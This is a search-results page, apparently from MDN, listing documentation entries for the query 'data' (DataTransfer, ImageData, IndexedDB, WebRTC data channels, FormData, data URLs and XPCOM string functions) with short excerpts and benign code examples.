Search completed in 1.54 seconds.
4533 results for "data":
Your results are loading. Please wait...
JavaScript data types and data structures - JavaScript
programming languages all have built-in data structures, but these often differ from one language to another.
... this article attempts to list the built-in data structures available in javascript and what properties they have.
... these can be used to build other data structures.
...And 21 more matches
DataTransfer.clearData() - Web APIs
the datatransfer.cleardata() method removes the drag operation's drag data for the given type.
... if data for the given type does not exist, this method does nothing.
... if this method is called with no arguments or the format is an empty string, the data of all types will be removed.
...And 11 more matches
DataTransfer.getData() - Web APIs
the datatransfer.getdata() method retrieves drag data (as a domstring) for the specified type.
... if the drag operation does not include data, this method returns an empty string.
... example data types are text/plain and text/uri-list.
...And 9 more matches
DataTransfer.setData() - Web APIs
the datatransfer.setdata() method sets the drag operation's drag data to the specified data and type.
... if data for the given type does not exist, it is added at the end of the drag data store, such that the last item in the types list will be the new type.
... if data for the given type already exists, the existing data is replaced in the same position.
...And 9 more matches
DataTransfer.mozSetDataAt() - Web APIs
the datatransfer.mozsetdataat() method is used to add data to a specific index in the drag event's data transfer object.
... a data transfer may store multiple items, each at a given zero-based index.
... mozsetdataat() may only be called with an index argument less than mozitemcount in which case an existing item is modified, or equal to mozitemcount in which case a new item is added, and the mozitemcount is incremented by one.
...And 8 more matches
ImageData.data - Web APIs
WebAPIImageDatadata
the readonly imagedata.data property returns a uint8clampedarray that contains the imagedata object's pixel data.
... data is stored as a one-dimensional array in the rgba order, with integer values between 0 and 255 (inclusive).
... syntax imagedata.data examples getting an imagedata object's pixel data this example creates an imagedata object that is 100 pixels wide and 100 pixels tall, making 10,000 pixels in all.
...And 6 more matches
DataTransferItemList.DataTransferItem() - Web APIs
the datatransferitem() getter method implements support for accessing items in the datatransferitemlist using array-style syntax (that is datatransferitem[index]).
... syntax dataitem = datatransferitem[index]; parameters index the zero-based index of the item in the drag data list to return.
... return value the datatransferitem object at the specified index in the item list.
...And 5 more matches
DataTransfer.mozClearDataAt() - Web APIs
the datatransfer.mozcleardataat() method removes the data associated with the given format for an item at the specified index.
... if the format argument is not provided, then the data associated with all formats is removed.
... syntax void datatransfer.mozcleardataat([type], index); arguments type a string representing the type of the drag data to remove from the drag data object.
...And 3 more matches
DataTransfer.mozGetDataAt() - Web APIs
the datatransfer.mozgetdataat() method is used to retrieve an item in the drag event's data transfer object, based on a given format and index.
... syntax nsivariant datatransfer.mozgetdataat([type], index); arguments type a string representing the type of the drag data to retrieve from the drag data object.
... index a unsigned long representing the index of the data to retrieve.
...And 3 more matches
FormDataEvent.formData - Web APIs
the formdata read only property of the formdataevent interface contains the formdata object representing the data contained in the form when the event was fired.
... syntax formdata = formdataevent.formdata returns a formdata object.
... examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definitio...
...n of 'formdata' in that specification.
MediaMetadata.MediaMetadata() - Web APIs
the mediametadata() constructor creates a new mediametadata object.
... syntax var mediametadata = new mediametadata([metadata]) parameters metadata optional the metadata parameters are as follows: title: the title of the media to be played.
... example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('...
...seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediametadata()' in that specification.
<datalist>: The HTML Data List element - HTML: Hypertext Markup Language
WebHTMLElementdatalist
the html <datalist> element contains a set of <option> elements that represent the permissible or recommended options available to choose from within other controls.
... implicit aria role listbox permitted aria roles no role permitted dom interface htmldatalistelement attributes this element has no other attributes than the global attributes, common to all elements.
... examples <label for="mybrowser">choose a browser from this list:</label> <input list="browsers" id="mybrowser" name="mybrowser" /> <datalist id="browsers"> <option value="chrome"> <option value="firefox"> <option value="internet explorer"> <option value="opera"> <option value="safari"> <option value="microsoft edge"> </datalist> result specifications specification status comment html living standardthe definition of '<datalist>' in that specification.
... living standard html5the definition of '<datalist>' in that specification.
Sending form data - Learn web development
previous overview: forms once the form data has been validated on the client-side, it is okay to submit the form.
...this article looks at what happens when a user submits a form — where does the data go, and how do we handle it when it gets there?
... we also look at some of the security concerns associated with sending form data.
...And 47 more matches
RDF Datasource How-To - Archive of obsolete content
this document is a cookbook that describes how to create a native, client-side datasource that works with mozilla's rdf implementation.
...what is a datasource?
...in the most abstract sense, a datasource is a collection of such statements.
...And 39 more matches
Using WebRTC data channels - Web APIs
once you've established a webrtc peer connection using the rtcpeerconnection interface, you're able to send and receive media data between the two peers on the connection.
...in this guide, we'll examine how to add a data channel to a peer connection, which can then be used to securely exchange arbitrary data; that is, any kind of data we wish, in any format we choose.
... since all webrtc components are required to use encryption, any data transmitted on an rtcdatachannel is automatically secured using datagram transport layer security (dtls).
...And 34 more matches
DataView - JavaScript
the dataview view provides a low-level interface for reading and writing multiple number types in a binary arraybuffer, without having to care about the platform's endianness.
...dataview accessors provide explicit control of how data is accessed, regardless of the executing computer's endianness.
... var littleendian = (function() { var buffer = new arraybuffer(2); new dataview(buffer).setint16(0, 256, true /* littleendian */); // int16array uses the platform's endianness.
...And 28 more matches
DataTransfer - Web APIs
the datatransfer object is used to hold the data that is being dragged during a drag and drop operation.
... it may hold one or more data items, each of one or more data types.
... this object is available from the datatransfer property of all drag events.
...And 27 more matches
RDF Datasources - Archive of obsolete content
« previousnext » here, we'll look at additional datasources and how to use your own rdf files as datasources.
... other mozilla datasources mozilla provides a number of other built-in datasources.
...the history list the history datasource provides access to the user's history list which is the list of urls the user has visited recently.
...And 22 more matches
IDBDatabase - Web APIs
the idbdatabase interface of the indexeddb api provides a connection to a database; you can use an idbdatabase object to open a transaction on your database then create, manipulate, and delete objects (data) in that database.
... the interface provides the only way to get and manage versions of the database.
... note: everything you do in indexeddb always happens in the context of a transaction, representing interactions with data in the database.
...And 22 more matches
RTCDataChannel - Web APIs
the rtcdatachannel interface represents a network channel which can be used for bidirectional peer-to-peer transfers of arbitrary data.
... every data channel is associated with an rtcpeerconnection, and each peer connection can have up to a theoretical maximum of 65,534 data channels (the actual limit may vary from browser to browser).
... to create a data channel and ask a remote peer to join you, call the rtcpeerconnection's createdatachannel() method.
...And 22 more matches
Working with data
creating cdata objects data types for use with js-ctypes are represented by ctype objects.
... these are javascript constructors; as such, they're callable functions that you can use to create new cdata objects of that type.
... there are several ways you can go about creating new cdata objects.
...And 20 more matches
Data URLs - HTTP
data urls, urls prefixed with the data: scheme, allow content creators to embed small files inline in documents.
... they were formerly known as "data uris" until that name was retired by the whatwg.
... note: data urls are treated as unique opaque origins by modern browsers, rather than inheriting the origin of the settings object responsible for the navigation.
...And 20 more matches
Using FormData Objects - Web APIs
the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest.
... it is primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data.
... the transmitted data is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to multipart/form-data.
...And 18 more matches
Using data attributes - Learn web development
html5 is designed with extensibility in mind for data that should be associated with a particular element but need not have any defined meaning.
... data-* attributes allow us to store extra information on standard, semantic html elements without other hacks such as non-standard attributes, extra properties on dom, or node.setuserdata().
...any attribute on any element whose attribute name starts with data- is a data attribute.
...And 16 more matches
IDBDatabaseSync - Web APIs
the databasesync interface in the indexeddb api represents a synchronous connection to a database.
... method overview idbobjectstoresync createobjectstore (in domstring name, in domstring keypath, in optional boolean autoincrement) raises (idbdatabaseexception); idbobjectstoresync openobjectstore (in domstring name, in optional unsigned short mode) raises (idbdatabaseexception); void removeobjectstore (in domstring storename) raises (idbdatabaseexception); void setversion (in domstring version); idbtransactionsync transaction (in optional domstringlist storenames, in optional unsigned int timeout) raises (idbdatabaseexception); attributes attribute type description description readonly domstring the human-readable description of the connected database.
... name readonly domstring the name of the connected database.
...And 16 more matches
IDBDatabase.transaction() - Web APIs
the transaction method of the idbdatabase interface immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
... syntax idbdatabase.transaction(storenames); idbdatabase.transaction(storenames, mode); parameters "durability" -- the durability constrints for the transction.
...therefore the following lines are equivalent: var transaction = db.transaction(['my-store-name']); var transaction = db.transaction('my-store-name'); if you need to access all object stores in the database, you can use the property idbdatabase.objectstorenames: var transaction = db.transaction(db.objectstorenames); passing an empty array will throw an exception.
...And 15 more matches
WebGLRenderingContext.bufferData() - Web APIs
the webglrenderingcontext.bufferdata() method of the webgl api initializes and creates the buffer object's data store.
... syntax // webgl1: void gl.bufferdata(target, size, usage); void gl.bufferdata(target, arraybuffer?
... srcdata, usage); void gl.bufferdata(target, arraybufferview srcdata, usage); // webgl2: void gl.bufferdata(target, arraybufferview srcdata, usage, srcoffset, length); parameters target a glenum specifying the binding point (target).
...And 15 more matches
Fetching data from the server - Learn web development
previous overview: client-side web apis next another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entire new page.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to fetch data from the server and use it to update the contents of a web page.
... enter ajax this led to the creation of technologies that allow web pages to request small chunks of data (such as html, xml, json, or plain text) and display them only when needed, helping to solve the problem described above.
...And 14 more matches
CanvasRenderingContext2D.putImageData() - Web APIs
the canvasrenderingcontext2d.putimagedata() method of the canvas 2d api paints data from the given imagedata object onto the canvas.
... note: image data can be retrieved from a canvas using the getimagedata() method.
... you can find more information about putimagedata() and general manipulation of canvas contents in the article pixel manipulation with canvas.
...And 13 more matches
A simple RTCDataChannel sample - Web APIs
the rtcdatachannel interface is a feature of the webrtc api which lets you open a channel between two peers over which you may send and receive arbitrary data.
... in this example, we will open an rtcdatachannel connection linking two elements on the same page.
...we'll cover the mechanics of accomplishing the connection and transmitting and receiving data, but we will save the bits about locating and linking to a remote computer for another example.
...And 13 more matches
Aggregating the In-Memory Datasource
introduction you can use xpcom aggregation1 with the in-memory datasource.
...say you were writing a datasource2, and the way you chose to implement it was to "wrap" the in-memory datasource; i.e., myclass : public nsimyinterface, public nsirdfdatasource { private: nscomptr<nsirdfdatasource> minner; public: // nsirdfdatasource methods ns_imethod init(const char* auri) { return minner->init(auri); } ns_imethod geturi(char* *auri) { return minner->geturi(auri); } // etc., for each method in nsirdfdatasource!
... when it won't work although this magic is terribly convenient to use, it won't work in the case that you want to "override" some of the in-memory datasource's methods.
...And 12 more matches
FormData - Web APIs
WebAPIFormData
the formdata interface provides a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest.send() method.
... it uses the same format a form would use if the encoding type were set to "multipart/form-data".
... an object implementing formdata can directly be used in a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()).
...And 12 more matches
HTMLOrForeignElement.dataset - Web APIs
the dataset read-only property of the htmlorforeignelement interface provides read/write access to all the custom data attributes (data-*) set on the element.
...it is a map of domstrings (domstringmap) with one entry for each custom data attribute.
... note that the dataset property itself can be read, but not directly written.
...And 12 more matches
CharacterData - Web APIs
the characterdata abstract interface represents a node object that contains characters.
... this is an abstract interface, meaning there aren't any object of type characterdata: it is implemented by other interfaces, like text, comment, or processinginstruction which aren't abstract.
..." fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties f...
...And 11 more matches
MediaRecorder.ondataavailable - Web APIs
the mediarecorder.ondataavailable event handler (part of the mediastream recording api) handles the dataavailable event, letting you run code in response to blob data being made available for use.
... the dataavailable event is fired when the mediarecorder delivers media data to your application for its use.
... the data is provided in a blob object that contains the data.
...And 11 more matches
RTCPeerConnection.createDataChannel() - Web APIs
the createdatachannel() method on the rtcpeerconnection interface creates a new channel linked with the remote peer, over which any kind of data may be transmitted.
... if the new data channel is the first one added to the connection, renegotiation is started by delivering a negotiationneeded event.
... syntax datachannel = rtcpeerconnection.createdatachannel(label[, options]); parameters label a human-readable name for the channel.
...And 11 more matches
Microdata - HTML: Hypertext Markup Language
microdata is part of the whatwg html standard and is used to nest metadata within existing content on web pages.
... search engines and web crawlers can extract and process microdata from a web page and use it to provide a richer browsing experience for users.
... search engines benefit greatly from direct access to this structured data because it allows search engines to understand the information on web pages and provide more relevant results to users.
...And 11 more matches
BaseAudioContext.decodeAudioData() - Web APIs
the decodeaudiodata() method of the baseaudiocontext interface is used to asynchronously decode audio file data contained in an arraybuffer.
...this method only works on complete file data, not fragments of audio file data.
... syntax older callback syntax: baseaudiocontext.decodeaudiodata(arraybuffer, successcallback, errorcallback); newer promise-based syntax: promise<decodeddata> baseaudiocontext.decodeaudiodata(arraybuffer); parameters arraybuffer an arraybuffer containing the audio data to be decoded, usually grabbed from xmlhttprequest, windoworworkerglobalscope.fetch() or filereader.
...And 10 more matches
CData
a cdata object represents a c value or function located in memory.
... method overview methods available on all cdata objects cdata address() string tosource() string tostring() properties properties of all cdata objects property type description constructor ctype the data type of the cdata object, as a ctype.
... value object the javascript equivalent of the cdata object's value.
...And 9 more matches
CanvasRenderingContext2D.getImageData() - Web APIs
the canvasrenderingcontext2d method getimagedata() of the canvas 2d api returns an imagedata object representing the underlying pixel data for a specified portion of the canvas.
...if the specified rectangle extends outside the bounds of the canvas, the pixels outside the canvas are transparent black in the returned imagedata object.
... note: image data can be painted onto a canvas using the putimagedata() method.
...And 9 more matches
Clear-Site-Data - HTTP
the clear-site-data header clears browsing data (cookies, storage, cache) associated with the requesting website.
... it allows web developers to have more control over the data stored locally by a browser for their origins.
... header type response header forbidden header name no syntax the clear-site-data header accepts one or more directives.
...And 9 more matches
Message Summary Database - Archive of obsolete content
nsimsgdatabase the main access point to the summary information is nsimsgdatabase.
... nsimsgfolder has a method to get the database for a folder.
... nsimsgdatabase is an abstraction on top of mdb, which is a set of db interfaces.
...And 8 more matches
CDATASection - Web APIs
the cdatasection interface represents a cdata section that can be used within xml to include extended portions of unescaped text.
... the symbols < and & don’t need escaping as they normally do when inside a cdata section.
... in xml, a cdata section looks like: <![cdata[ ...
...And 8 more matches
CanvasRenderingContext2D.createImageData() - Web APIs
the canvasrenderingcontext2d.createimagedata() method of the canvas 2d api creates a new, blank imagedata object with the specified dimensions.
... syntax imagedata ctx.createimagedata(width, height); imagedata ctx.createimagedata(imagedata); parameters width the width to give the new imagedata object.
... height the height to give the new imagedata object.
...And 8 more matches
DataTransferItem - Web APIs
the datatransferitem object represents one drag data item.
... during a drag operation, each drag event has a datatransfer property which contains a list of drag data items.
... each item in the list is a datatransferitem object.
...And 8 more matches
HTMLCanvasElement.toDataURL() - Web APIs
the htmlcanvaselement.todataurl() method returns a data uri containing a representation of the image in the format specified by the type parameter (defaults to png).
... if the height or width of the canvas is 0 or larger than the maximum canvas size, the string "data:," is returned.
... if the requested type is not image/png, but the returned value starts with data:image/png, then the requested type is not supported.
...And 8 more matches
IDBFactory.deleteDatabase() - Web APIs
the deletedatabase() method of the idbfactory interface requests the deletion of a database.
... if the database is successfully deleted, then a success event is fired on the request object returned from this method, with its result set to undefined.
... if an error occurs while the database is being deleted, then an error event is fired on the request object that is returned from this method.
...And 8 more matches
MediaMetadata - Web APIs
the mediametadata interface of the the media session api provides allows a web page to provide rich media metadata for display in a platform ui.
... constructor mediametadata.mediametadata() creates a new mediametadata object.
... properties mediametadata.title returns or sets the title of the media to be played.
...And 8 more matches
Node.setUserData() - Web APIs
WebAPINodesetUserData
the node.setuserdata() method allows a user to attach (or remove) data to an element, without needing to modify the dom.
... note that such data will not be preserved when imported via node.importnode, as with node.clonenode() and node.renamenode() operations (though node.adoptnode does preserve the information), and equality tests in node.isequalnode() do not consider user data in making the assessment.
... this method offers the convenience of associating data with specific nodes without needing to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations.
...And 8 more matches
RTCDataChannel.close() - Web APIs
the rtcdatachannel.close() method closes the rtcdatachannel.
... closure of the data channel is not instantaneous.
... most of the process of closing the connection is handled asynchronously; you can detect when the channel has finished closing by watching for a close event on the data channel.
...And 8 more matches
RTCDataChannel.readyState - Web APIs
the read-only rtcdatachannel property readystate returns an enum of type rtcdatachannelstate which indicates the state of the data channel's underlying data connection.
... syntax var state = adatachannel.readystate; values a string which is one of the values in the rtcdatachannelstate enum, indicating the current state of the underlying data transport.
... rtcdatachannelstate enum the rtcdatachannelstate enum defines string constants which reflect the current status of the rtcdatachannel's underlying data connection.
...And 8 more matches
RTCDataChannel.send() - Web APIs
the send() method of the rtcdatachannel interface sends data across the data channel to the remote peer.
...data sent before connecting is buffered if possible (or an error occurs if it's not possible), and is also buffered if sent while the connection is closing or closed.
...this will get less complicated over time, but for now, if you have questions, see understanding message size limits in using webrtc data channels.
...And 8 more matches
Using XML Data Islands in Mozilla - Archive of obsolete content
internet explorer had an "xml data islands" feature that allows web authors include xml data inline in html documents using the <xml> tag.
...xml data islands are no longer supported from internet explorer 10 onwards.
... html5 has a more general feature called "data blocks" that can carry almost any textual data, including xml.
...And 7 more matches
Reading textual data - Archive of obsolete content
this article describes how to read textual data from streams, files and sockets.
... in order to read textual data, you need to know which character encoding the data is in.
... determining the character encoding of data if you have a network channel (nsichannel), you can try the contentcharset property of it.
...And 7 more matches
datasources - Archive of obsolete content
« xul reference home datasources type: space separated list of datasource uris a space-separated list of datasources that an element's template will use for content generation.
... these can be either internal datasources such as rdf:bookmarks or a url.
... the datasources attribute may be placed on most elements, although it will usually be found on trees and menu related elements.
...And 7 more matches
What’s in the head? Metadata in HTML - Learn web development
it contains information such as the page <title>, links to css (if you choose to style your html content with css), links to custom favicons, and other metadata (data about the html, such as the author, and important keywords that describe the document.) in this article we'll cover all of the above and more, in order to give you a good basis for working with markup.
...instead, the head's job is to contain metadata about the document.
... the <h1> element appears on the page when loaded in the browser — generally this should be used once per page, to mark up the title of your page content (the story title, or news headline, or whatever is appropriate to your usage.) the <title> element is metadata that represents the title of the overall html document (not the document's content.) active learning: inspecting a simple example to start off this active learning, we'd like you to go to our github repo and download a copy of our title-example.html page.
...And 7 more matches
Initialize NSS database - sample 2
nss sample code 2: initialize the nss database.
... the nss sample code below demonstrates how to initialize the nss database.
...fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p "); fprintf(stderr, "%-15s specify a password file\n\n", "-f "); exit(-1); } /* * initslotpassword */ char * initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output; char *p0 = null; char *p1 = null; secupwdata *pwdata = (secupwdata *) arg; if (pwdata->source == pw_fromfile) { return filepasswd(slot, retry, pwdata->data); } if (pwdata->source == pw_plaintext) { return pl_strdup(pwdata->data); } /* open terminal */ input = fopen("/dev/tty", "r"); if (input == null) { pr_fprintf(pr_stderr, "error opening input terminal for read\n"); return null; ...
...And 7 more matches
nsIMsgDatabase
the nsimsgdatabase interface is an abstract interface used to access the mail database backend.
... mailnews/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to this article.
... defaultviewflags nsmsgviewflagstypevalue readonly: defaultsorttype nsmsgviewsorttypevalue readonly: defaultsortorder nsmsgviewsortordervalue readonly: msghdrcachesize unsigned long folderstream nsioutputstream summaryvalid boolean methods open() opens a database folder.
...And 7 more matches
NS_CStringAppendData
« xpcom api reference summary the ns_cstringappenddata function appends data to the existing value of a nsacstring instance.
... #include "nsstringapi.h" nsresult ns_cstringappenddata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... adata [in] a raw character array to copy into this string.
...And 7 more matches
NS_CStringInsertData
« xpcom api reference summary the ns_cstringinsertdata function appends data to the existing value of a nsacstring instance.
... #include "nsstringapi.h" nsresult ns_cstringinsertdata( nsacstring& astring, pruint32 aoffset, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
...adata [in] a raw character array to copy into this string.
...And 7 more matches
NS_StringAppendData
« xpcom api reference summary the ns_stringappenddata function appends data to the existing value of a nsastring instance.
... #include "nsstringapi.h" nsresult ns_stringappenddata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to be modified.
... adata [in] a raw character array to copy into this string.
...And 7 more matches
NS_StringInsertData
« xpcom api reference summary the ns_stringinsertdata function appends data to the existing value of a nsacstring instance.
... #include "nsstringapi.h" nsresult ns_stringinsertdata( nsacstring& astring, pruint32 aoffset, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to be modified.
... adata [in] a raw character array to copy into this string.
...And 7 more matches
DataTransferItemList.add() - Web APIs
the datatransferitemlist.add() method creates a new datatransferitem using the specified data and adds it to the drag data list.
...if the item is successfully added to the list, the newly-created datatransferitem object is returned.
... syntax datatransferitem = datatransferitemlist.add(data, type); datatransferitem = datatransferitemlist.add(file); parameters data a string representing the drag item's data.
...And 7 more matches
IDBDatabase.createObjectStore() - Web APIs
the createobjectstore() method of the idbdatabase interface creates and returns a new object store or index.
... syntax idbdatabase.createobjectstore(name); idbdatabase.createobjectstore(name, options); parameters name the name of the new object store to be created.
... transactioninactiveerror occurs if a request is made on a source database that doesn't exist (e.g.
...And 7 more matches
Sending and Receiving Binary Data - Web APIs
receiving binary data using javascript typed arrays the responsetype property of the xmlhttprequest object can be set to change the expected response type from the server.
...}; oreq.send(); receiving binary data in older browsers the load_binary_resource() function shown below loads binary data from the specified url, returning it to the caller.
... var filestream = load_binary_resource(url); var abyte = filestream.charcodeat(x) & 0xff; // throw away high-order byte (f7) the example above fetches the byte at offset x within the loaded binary data.
...And 7 more matches
Web forms — Working with user data - Learn web development
web forms are a very powerful tool for interacting with users — most commonly they are used for collecting data from users, or allowing them to control a user interface.
...in the articles listed below, we'll cover all the essential aspects of web forms including marking up their html structure, styling form controls, validating form data, and submitting data to the server.
... introductory guides your first form the first article in our series provides your very first experience of creating a web form, including designing a simple form, implementing it using the right html elements, adding some very simple styling via css, and how data is sent to a server.
...And 6 more matches
Assessment: Structuring planet data - Learn web development
previous overview: tables in our table assessment, we provide you with some data on the planets in our solar system, and get you to structure it into an html table.
... starting point to start the assessment, make local copies of blank-template.html, minimal-table.css, and planets-data.txt in a new directory in your local computer.
... project brief you are working at a school; currently your students are studying the planets of our solar system, and you want to provide them with an easy-to-follow set of data to look up facts and figures about the planets.
...And 6 more matches
AnalyserNode.getFloatFrequencyData() - Web APIs
the getfloatfrequencydata() method of the analysernode interface copies the current frequency data into a float32array array passed into it.
... if you need higher performance and don't care about precision, you can use analysernode.getbytefrequencydata() instead, which works on a uint8array.
... syntax var audioctx = new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray = new float32array(analyser.frequencybincount); // float32array should be the same length as the frequencybincount void analyser.getfloatfrequencydata(dataarray); // fill the float32array with data returned from getfloatfrequencydata() parameters array the float32array that the frequency domain data will be copied to.
...And 6 more matches
AuthenticatorAssertionResponse.authenticatorData - Web APIs
the authenticatordata property of the authenticatorassertionresponse interface returns an arraybuffer containing information from the authenticator such as the relying party id hash (rpidhash), a signature counter, test of user presence, user verification flags, and any extensions processed by the authenticator.
... syntax var authnrdata = authenticatorassertionresponse.authenticatordata; value an arraybuffer that has a arraybuffer.bytelength of at least 37 bytes, containing the following fields: rpidhash (32 bytes) - a sha256 hash of the relying party id that was seen by the browser.
... bit 6, attested credential data (at) - if set, attestedcredentialdata will immediately follow the first 37 bytes of this authenticatordata.
...And 6 more matches
DataTransfer.types - Web APIs
the datatransfer.types read-only property returns an array of the drag data formats (as strings) that were set in the dragstart event.
... the order of the formats is the same order as the data included in the drag operation.
... the formats are unicode strings giving the type or format of the data, generally given by a mime type.
...And 6 more matches
DataTransferItemList - Web APIs
the datatransferitemlist object is a list of datatransferitem objects representing items being dragged.
... during a drag operation, each dragevent has a datatransfer property and that property is a datatransferitemlist.
... properties datatransferitemlist.length read only an unsigned long that is the number of drag items in the list.
...And 6 more matches
IDBDatabaseException - Web APIs
in the indexeddb api, an idbdatabaseexception object represents exception conditions that can be encountered while performing database operations.
... data_err 5 data provided to an operation does not meet requirements.
... not_found_err 3 the operation failed because the requested database object could not be found; for example, an object store did not exist but was being opened.
...And 6 more matches
ImageData - Web APIs
WebAPIImageData
the imagedata interface represents the underlying pixel data of an area of a <canvas> element.
... it is created using the imagedata() constructor or creator methods on the canvasrenderingcontext2d object associated with a canvas: createimagedata() and getimagedata().
... it can also be used to set a part of the canvas by using putimagedata().
...And 6 more matches
RTCDataChannelEvent() - Web APIs
the rtcdatachannelevent() constructor creates a new rtcdatachannelevent.
... you will rarely if ever construct an rtcdatachannelevent by hand; these events are normally created and sent by the webrtc layer itself.
... syntax var event = new rtcdatachannelevent(type, rtcdatachanneleventinit); parameters type a domstring which specifies the name of the event.
...And 6 more matches
WebGLRenderingContext.bufferSubData() - Web APIs
the webglrenderingcontext.buffersubdata() method of the webgl api updates a subset of a buffer object's data store.
... syntax // webgl1: void gl.buffersubdata(target, offset, arraybuffer srcdata); void gl.buffersubdata(target, offset, arraybufferview srcdata); // webgl2: void gl.buffersubdata(target, dstbyteoffset, arraybufferview srcdata, srcoffset, length); parameters target a glenum specifying the binding point (target).
... possible values: gl.array_buffer: buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data.
...And 6 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
the <meta> element can be used to provide document metadata in terms of name-value pairs, with the name attribute giving the metadata name, and the content attribute giving the value.
... standard metadata names defined in the html specification the html specification defines the following set of standard metadata names: application-name: the name of the application running in the web page.
... standard metadata names defined in other specifications the css color adjustment specification defines the following metadata name: color-scheme: specifies one or more color schemes with which the document is compatible.
...And 6 more matches
data-* - HTML: Hypertext Markup Language
the data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation by scripts.
... all such custom data are available via the htmlelement interface of the element the attribute is set on.
... the htmlelement.dataset property gives access to them.
...And 6 more matches
WebRTC data channels - Game development
the webrtc (web real-time communications) api is primarily known for its support for audio and video communications; however, it also offers peer-to-peer data channels.
... this article explains more about this, and shows you how to use libraries to implement data channels in your game.
... what is a data channel?
...And 5 more matches
NS_CStringSetData
« xpcom api reference summary the ns_cstringsetdata function copies data into the string's internal buffer.
... #include "nsstringapi.h" nsresult ns_cstringsetdata( nsacstring& astring, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify.
... adata [in] a raw character array to copy into this string.
...And 5 more matches
NS_CStringSetDataRange
« xpcom api reference summary the ns_cstringsetdatarange function copies data into a section of the string's internal buffer.
... #include "nsstringapi.h" nsresult ns_cstringsetdatarange( nsacstring& astring, pruint32 acutstart, pruint32 acutlength, const char* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsacstring instance to modify.
... adata [in] a raw character array to copy into this string.
...And 5 more matches
NS_StringSetData
« xpcom api reference summary the ns_stringsetdata function copies data into the string's internal buffer.
... #include "nsstringapi.h" nsresult ns_stringsetdata( nsastring& astring, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify.
... adata [in] a raw character array to copy into this string.
...And 5 more matches
NS_StringSetDataRange
« xpcom api reference summary the ns_stringsetdatarange function copies data into a section of the string's internal buffer.
... #include "nsstringapi.h" nsresult ns_stringsetdatarange( nsastring& astring, pruint32 acutstart, pruint32 acutlength, const prunichar* adata, pruint32 adatalength = pr_uint32_max ); parameters astring [in] a nsastring instance to modify.
...adata [in] a raw character array to copy into this string.
...And 5 more matches
DataTransferItemList.clear() - Web APIs
the datatransferitemlist method clear() removes all datatransferitem objects from the drag data items list, leaving the list empty.
... the drag data store in which this list is kept is only writable while handling the dragstart event.
... while handling drop, the drag data store is in read-only mode, and this method silently does nothing.
...And 5 more matches
FileReader.readAsDataURL() - Web APIs
the readasdataurl method is used to read the contents of the specified blob or file.
...at that time, the result attribute contains the data as a data: url representing the file's data as a base64 encoded string.
... note: the blob's result cannot be directly decoded as base64 without first removing the data-url declaration preceding the base64-encoded data.
...And 5 more matches
FileReaderSync.readAsDataURL() - Web APIs
the readasdataurl() method of the filereadersync interface allows to read file or blob objects in a synchronous way into an domstring representing a data url.
... syntax readasdataurl(file); readasdataurl(blob); parameters blob the dom file or blob to read.
... return value an domstring representing the input data as a data url.
...And 5 more matches
FileSystemEntry.getMetadata() - Web APIs
} the filesystementry interface's method getmetadata() obtains a metadata object with information about the file system entry, such as its modification date and time and its size.
... syntax filesystementry.getmetadata(successcallback[, errorcallback]); parameters successcallback a function which is called when the copy operation is succesfully completed.
... receives a single input parameter: a metadata object with information about the file.
...And 5 more matches
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
